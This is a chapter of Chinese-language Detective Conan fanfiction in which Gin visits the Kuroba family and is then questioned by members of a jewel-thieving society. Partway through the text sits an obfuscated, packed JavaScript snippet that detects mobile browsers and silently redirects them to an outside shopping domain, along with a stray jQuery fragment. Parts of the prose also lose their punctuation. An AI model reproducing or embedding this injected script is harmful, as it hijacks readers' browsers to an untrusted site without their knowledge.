深夜的黑羽家鸡飞狗跳,沦为辈分最底层的黑羽快斗奋起反抗终于把他爹按回到评委席上“老爸你管他叫哥我不介意,但工藤必须叫我快斗哥哥”而江户川柯南说我比你大吧为什么不是你叫我新一哥哥于是鸡飞狗跳的程度再次升级。
两个怪盗和一个侦探正在闹腾而黑泽阵跟黑羽千影坐在那里喝茶。
啊他们俩也是侦探(少年侦探SILVER/德国侦探诺瓦利斯)和怪盗(怪盗淑女)没事了,这个家里已经全是侦探和怪盗了。
黑泽阵稳稳地端起茶杯在一片混乱中问黑羽千影:
“怪盗基德?”
刚才侦探和怪盗忙着逃跑没看到黑泽阵倒是看得非常清楚,的确有三个怪盗基德而且不是什么障眼法
黑羽千影跟他笑笑,愉快且坦诚地回应:“好久不见,黑泽君~上次见面还是在京都呢。”
京都?
哦,那次啊。黑泽阵有印象是乌鸦失踪前一段时间的事他和伏特加去京都跟某个长期合作的对象进行交易却遇到怪盗基德正在做他的偷宝石周常任务原本黑泽阵可以平静地当个背景板街头潮人路过但……
怪盗基德低空飞过并抢走了他的帽子然后变装成黑泽阵的模样,坐上伏特加的车跑了。
黑泽阵:“……”
幸好忠实的伏特加很快就发现他接到的人不是大哥,质问“你是谁”的时候接到了黑泽阵的电话,黑泽阵说交易时间马上就要到了让你旁边那个人去演不好我就送他下地狱。
然后跟他“很熟”的怪盗基德就代替他完成了交易的工作见过很多次的交易对象愣是一点都没看出来。
半个小时后正在咖啡厅喝咖啡的黑泽阵收到了侍者端来的额外甜点还拿到了“某位先生给你的帽子”以及放在帽子里的一颗宝石。事后伏特加问他那是谁黑泽阵说不用管就是熟人而已。
而且是每次见面都要给他找麻烦的熟人。明明都是跟ANI结社相关的人怎么只有乌鸦这么省心——哦黑泽阵现在已经后悔当初那么想过了。
他放下茶杯问:“所以怪盗基德是谁?”
黑羽千影给他添了茶说:“是盗一。我偶尔会用这个身份替他打掩护不过现在的怪盗1412号是快斗了。”
黑泽阵非常怀疑她现在态度这么好是因为以前用怪盗基德的身份给他找麻烦太多次了。
现在想想
该不会每次把宝石丢给他的“怪盗基德”都是这位名为黑羽千影实则是乌鸦老婆的女人吧?
他怀疑地看向黑羽千影。
黑羽千影:“哎呀。”
黑泽阵:“哼。”
他不跟女人计较除非对方是贝尔摩德。贝尔摩德拍他电影的仇他是一定要报的。
银发少年就坐在那里看黑羽父子打打闹闹小侦探终于从夹在他们之间当道具的境况里逃脱偷偷摸摸钻回到黑泽阵身边干脆趴在他腿上打滚。
黑泽阵盯着他看。
就在被黑泽阵拎开之前江户川柯南飞快地把手机举起来给他说:“安室哥哥找你他说你的电话打不通。”
黑泽阵看了一眼自己的手机关机不用想肯定是黑羽盗一给他关的
他拿过小侦探的手机拨通了波本的号码问:“我这里有三只怪盗基德能用来冲业绩你要吗?”
正在蹦跶的黑羽快斗不动了喝茶的黑羽千影喝不下去了黑羽盗一哭笑不得对黑泽阵说不用这样吓唬我家孩子吧。
电话那边的降谷零已经跟江户川柯南聊完了今晚的事但就算小侦探也没有告诉他“怪盗基德”的真实身份更不用说三只所以……
“还是不用了”降谷零的声音里满是笑意“毕竟我是以现任组织BOSS的身份在给你打电话琴酒。”
“出什么问题了?”黑泽阵问。
“有个陌生号码给我发来了奇怪的预告函我念给你听:「蒲节生香之末、百钟蝉羽之初吾乍闻噩耗深为痛惜未料首领之死另有玄机偶得消息遂怀此不世之仇、没齿之恨亲至东京了此恩怨。故书信一封特以告知吾等将于浴兰时序终结之时来访。蓝花之人敬上。」”
降谷零好不容易念完这封几个小时前发给他的预告函它的落款确实属于杀手组织“蓝花诗人”只是语言看起来不太对劲……
他揉了揉额头关掉界面不想再看那些文字问:“我没记错的话你在ANI结社用的身份就跟这个组织有关所以你肯定知道点什么吧琴酒?”
“……”
“琴酒先生BOSS黑泽同学——”发现黑泽阵竟然沉默了降谷零就换了几个声调喊他。
“闭嘴。”黑泽阵用带有威胁意味的语气打断了降谷零说“根本没有这个组织‘蓝花诗人’是乌丸集团的某个蠢货创建的空壳组织所有出现过的身份都是乌丸集团的代号成员用的马甲五年前我把那些
身份的资料都烧了,这个组织才彻底消失。
“那发来预告函的人呢?
降谷零发现自己在把琴酒惹毛这件事上其实是很有天赋的,现在不用担心琴酒什么时候就把自己杀了的感觉真好啊,谢谢Hiro,再礼节性谢谢让他当BOSS的乌丸先生。
“就是设计出那些身份的人。
“组织的人?
“普罗塞克,现在的名字是潘·迪特里希,写三流小说的德国作家,十七年前他就从组织叛逃了。
黑泽阵把小侦探从他身上拎开,然后从黑羽家的沙发上站起来,说我先解决ANI结社的事,就去找普罗塞克,这件事你不用管。
他不给降谷零说话的机会就挂断了电话,把手机扔回给小侦探,说,我先走了。
换了一身家常衣服的黑羽盗一问他:
“你打算怎么跟结社解释?
“伪装成黑羽快斗的工藤新一死了,但蜘蛛看到复活的黑羽盗一冲上去就要签名,被警察抓住了,不关我的事。
黑泽阵从老朋友身边擦肩而过,身后跟着手忙脚乱在穿外衣的小侦探;他注意到身后的小孩快跟不上,还放慢了点脚步。
黑羽盗一看着自己儿子在江户川柯南路过的时候偷偷往小学生的帽子里放鸽子,然后两个小孩又打闹起来,忍不住摇头笑了笑。
他叹气:“让快斗躲起来倒是没问题,但这样的话,他们可就要知道我还活着的消息了。
黑泽阵漫不经心地说:“既然公安加入布局,也就不缺这点时间了。倒是你们那边,真要跟他们撞上?
“没关系,反正都是老朋友嘛,要是公安能解决,我们就不出手了。初代怪盗基德笑着回答。
……
ANI结社的据点。
红隼抱着哈罗到的时候,看到三文鱼和松鼠已经在了,甚至一向很忙的鸽子听说有这么大的事都特地真身赶来。
距离上一场会议刚过了一天,ANI结社在东京的干部就再次匆匆聚集,所有人脸上都是相当严肃的神情。
红隼来的时候甚至没带她的水晶球,把哈罗放在一边就说:
“想必大家已经收到了通知,我就不多废话了。现在夜莺失联,蜘蛛被警察抓走,但他发来了最后的消息。因为涉及成员背叛的事我不能在通讯里说明,现在把蜘蛛的消息给大家看。
放在桌子上的手机显示出了三行讯息。
FromSpider(备注:幻术师)-
八年
前的怪盗基德、黑羽盗一、乌鸦不是同一个人-
现在的怪盗基德就是工藤新一-
斯内克疑似背叛
每一条都是极为炸裂的消息!所有人(和狗)都屏住呼吸,把那三行字反复看了几遍,不可置信地抬起头来,面面相觑。
“所以,蜘蛛……斯内克……”
“就是因为最后这条消息,我没有通知斯内克;但我们不能盲目相信蜘蛛发来的情报,毕竟他已经落到了警察手里,我们不清楚当时是什么情况。”
红隼把手机收回去,坐到椅子上,说话的时候也不是特别镇定,从她的声音里还是能听出她有点慌的。
坐在红隼旁边的是鸽子。
这是个干练的短发女性,穿着一身白色正装,面容严厉、画着精致的妆,很有可能是凌晨刚下班就急匆匆赶来的。
此刻她不耐烦地按掉不断打来的电话,问:
“夜莺呢?”
“联系不上,当务之急就是找到夜莺,我在警视厅有朋友,能确定他们没抓到夜莺,但他的电话一直关机……等等。”
红隼说到一半,却看到她的手机屏幕忽然亮起,打来电话的人正是他们在讨论的夜莺。
她接通电话,跟夜莺说了几句,表情逐渐变得平静下来。
“夜莺……啊?哦……嗯,我知道了,这样……好的,你自己小心。”
红隼挂断电话,陷入沉思。
“夜莺怎么样?”
“他没事,只是发生了一点意外,夜莺说他和蜘蛛在进行任务的时候遇到了怪盗基德,而且不止一个。其中有个怪盗基德认识蜘蛛,蜘蛛……呃……”
“蜘蛛……?”
“蜘蛛说那是黑羽盗一,打到一半的时候夜莺看到怪盗基德在给蜘蛛签名,他想问蜘蛛怎么回事,但怪盗的武器里有特殊的麻醉类药物,夜莺没太防备,跟他们打太久昏过去了,手机被怪盗关机,刚醒。”
整个据点都一片寂静。
“汪?”
“咕咕。”
很久,松鼠摸着下巴,嗑着瓜子,说:“你们还记得八年前发生过什么事吗?”
红隼看他:“八年前我还没加入结社。”
松鼠简单解释道:“八年前,结社杀死乌鸦的时候,就是蜘蛛在路上遇到了黑羽盗一,问他要了签名,才让我们的包围圈出现了缺口,幸好后来补救成功,蜘蛛也因此被调离了日本。”
是的,结社里的老人都知道这件事,但跟乌鸦的那次背叛一起埋葬了,也正
是因为这个,蜘蛛对怪盗基德相关的事都极为上心,特别是现在的那位怪盗基德。
红隼:没想到你是这样的蜘蛛。
他们还没说几句往事,鸽子就再次挂断打来的电话,打断了其他人的八卦:
“如果他们碰到的是真货,那就说明当年死在爆炸里的‘乌鸦’不是黑羽盗一。我让人去调查斯内克从美国回来这段时间的行动,你们确定夜莺有没有问题,蜘蛛暂时救不出来了,红隼让你的朋友看着点别让他死了。”
在ANI结社里,虽然有更高等级的头目,但干部之间的地位是同等的。
鸽子习惯性地发号施令,在场的人却没有一个反对,无他,鸽子太能干了,一边管理公司一边还能调查情报,一般人干不来这活。
红隼点点头,比了个OK的手势:“放心吧,那群警察才不会杀人呢。夜莺说他十分钟后到。”
鸽子往后靠着椅背,抬了抬下巴:“正好,我有事要问他。”
……
黑泽阵还是第一次进门发现ANI结社的人没有在打牌,也没有在八卦。他刚才听到据点里没有声音,还以为动物园的据点已经出事了,进去能看到一群荷枪实弹埋伏着的警察或者满地的尸体,不过很遗憾,没有。
“夜莺,你回来了?还好吗?”
所有人都在严肃的气氛里跟他打招呼,包括哈罗,哈罗直接从桌子上跳下去围着他转圈,嗅来嗅去,然后汪呜了两声。
而桌子边还有个陌生面孔,不,也不是那么陌生,黑泽阵听到她简短的自我介绍:
“鸽子。”
一枝娱乐的创始人、梅谢财团前任代理理事长,一枝歌子女士,正在跟黑泽阵点头示意。
黑泽阵也跟她点点头,没有做额外交流
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13110786|113047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的打算,虽然鸽子好像在额外的地方认识他,但认识黑泽阵的人也太多了,他懒得一个一个地管,这就是身为乌丸集团明星带给他的余裕。
他刚随便找个最角落的位置坐下,红隼就说:“蜘蛛给我们发来了最后的情报,但在这之前我们想先听听你的看法。”
情报吗?
哦,怀疑他啊。
说实话,如果今天坐在对面的是黑泽阵,“琴酒”可不会把会面的场景安排得这么轻松,毕竟乌丸集团已经遇到过太多叛徒,错杀的也不少,出了这种事要么先手灭口要么人已经在审讯室里了。
但ANI结社是个允许成员有自己的日常工作、甚至有团建和日常打牌的松散组织,而且很显然,他们组织除了非法抢夺外还有
更多的获取宝石的方式,归根结底是没那么多敌人的。
至于怪盗基德,那是他们自己都想不通的例外。
“那我就从头说起。
黑泽阵并不意外,不紧不慢地跟在座的几位讲了今天发生的事,排除“夜莺跟乌鸦是认识的老朋友和“打完后他在黑羽家喝了半天茶外,其实没什么需要修改的地方。
至于蜘蛛发了什么情报、任务有没有完成不关他的事,毕竟“夜莺根本没进黑羽家。
说到最后,他补充了一句:“对了,蜘蛛说工藤新一就是怪盗基德,具体怎么推断来的我不清楚。
“你见到斯内克了吗?
“没,黑泽阵微微扬了下眉毛,“他应该出现?我还以为我和蜘蛛两个人就已经足够了。
他把“足够这个词咬得够重,但实际上他们都清楚,如果以之前得到的信息,别说这两个人,就算三文鱼去也能完成任务,根本不需要再加一个。
松鼠跟其他人对视一眼,最后还是鸽子发话了:“你和蜘蛛遇到了早有准备的怪盗基德,我不客气地说,虽然我们中的所有人都有泄密的可能,但只有作为新人的你和从美国回来的斯内克嫌疑最大。
“嗯。
黑泽阵随意地应了一声,不是很在意的样子。他在想他以前查卧底时候的事,那些怀疑的人总是有不一样的表现,有人激烈反抗,有人一言不发,有人试图解释,有人脸色苍白,有人揭发别人……也有人始终平静,好像事不关己。
这种人最难对付,比如他自己。再比如,苏格兰。
组织怀疑苏格兰的时候,黑泽阵很有闲心地给苏格兰打了个电话,说你现在可以逃走,如果逃得掉的话我就放过你。
当年露比就是这样,她飞快地在电话里说谢谢大哥但我昨晚上就跑路了,这破组织真不是人待的地方啊。不过黑泽阵还是找到了她的所在,只是露比拿到了足够换她性命的筹码,让那位先生都觉得满意,就这么放过了她。
而苏格兰,在黑泽阵打完电话后不久,整理好了自己的安全屋,没带武器,就到了黑泽阵面前,像很平常地到朋友家拜访,甚至带了手工点心做礼物。他说组织在找我吗?我来了。
当时黑泽阵穿着高领毛衣,端着一杯咖啡坐在桌边,正在皱眉看波本和贝尔摩德的报账,见到苏格兰的时候他反而笑出来了。
苏格兰,你真的很大胆。
在过去的二十年里,黑泽阵遇到过的这类人很少,少到他想不起几个来。不
过每一个都足够让他印象深刻。
他听ANI结社的人小声讨论,而他和哈罗就坐在长桌的另一端,他们没有刻意避开他谈论问题,声音也足够他听清。
黑泽阵听了一耳朵,听到松鼠说他肯定遇到乌鸦了,我刚才就想说夜莺的头发里还有乌鸦的羽毛,他好像没注意到……
黑泽阵:……
他走的时候就应该再给黑羽盗一一拳!
商谈好像还要持续很久,黑泽阵等了一会儿,有点困了,但还要去解决普罗赛克,就说:“如果没别的事,你们先谈,我回去睡觉。”
回答他的人是鸽子。
这位ANI结社在东京的情报干部干脆把响个不停的手机关机,说:“不用了,我调查过东京所有跟那部电影相关的人,除克里斯汀导演外,你跟其他任何人都没有过接触,更不用提在你来东京前就失踪的‘工藤新一’,在这件事上你没有多此一举的必要。”
确实,黑泽阵对那部电影在东京的剧组毫无兴趣,但ANI结社搞错了一点,他要找麻烦,就直接去找写剧本的那个女人了;还有,他真的认识工藤新一。
黑泽阵看着鸽子,从她的表情里发觉她还有话要说,就坐在那里等。
他也很好奇,好奇鸽子打算说什么,不然他的工作实在是太没有挑战性了——说实话,卧底工作很无聊,特别是在重复太多次信任、怀疑、背叛,以及看到那些人千篇一律的不可置信的眼神之后。
“但有件事需要你解释。”
鸽子从提包里拿出几张打印的照片,推到黑泽阵面前。
“你跟乌丸集团是什么关系?”
十九世纪末,伦敦,金发少年……
并且他的长相跟黑泽阵的相似程度,只能说和工藤新一&黑羽快斗的相似程度一模一样。毕竟那就是黑泽阵本人。
黑泽阵只对着那几张照片看了0.1s,就给那个老女人又记了一笔。贝尔摩德,你是怎么把乌丸集团(谣言中的)BOSS的照片发得全世界都是的?就连这个满是动物的八卦社团都知道了!
鸽子盯着那个银发少年,猜测对方可能会有的反应:疑惑、心虚、愤怒、平静……?
但都不是。
那个少年随意地把照片推开,懒洋洋地靠在深红色的高背椅子上,玩味地笑了:“你很好奇?虽然我不介意说,但知道太多可不是好事,一枝女士。”
作者有话要说
黑泽:哎,没意思,想苏格兰了。
景光:……?你倒是回家睡觉啊!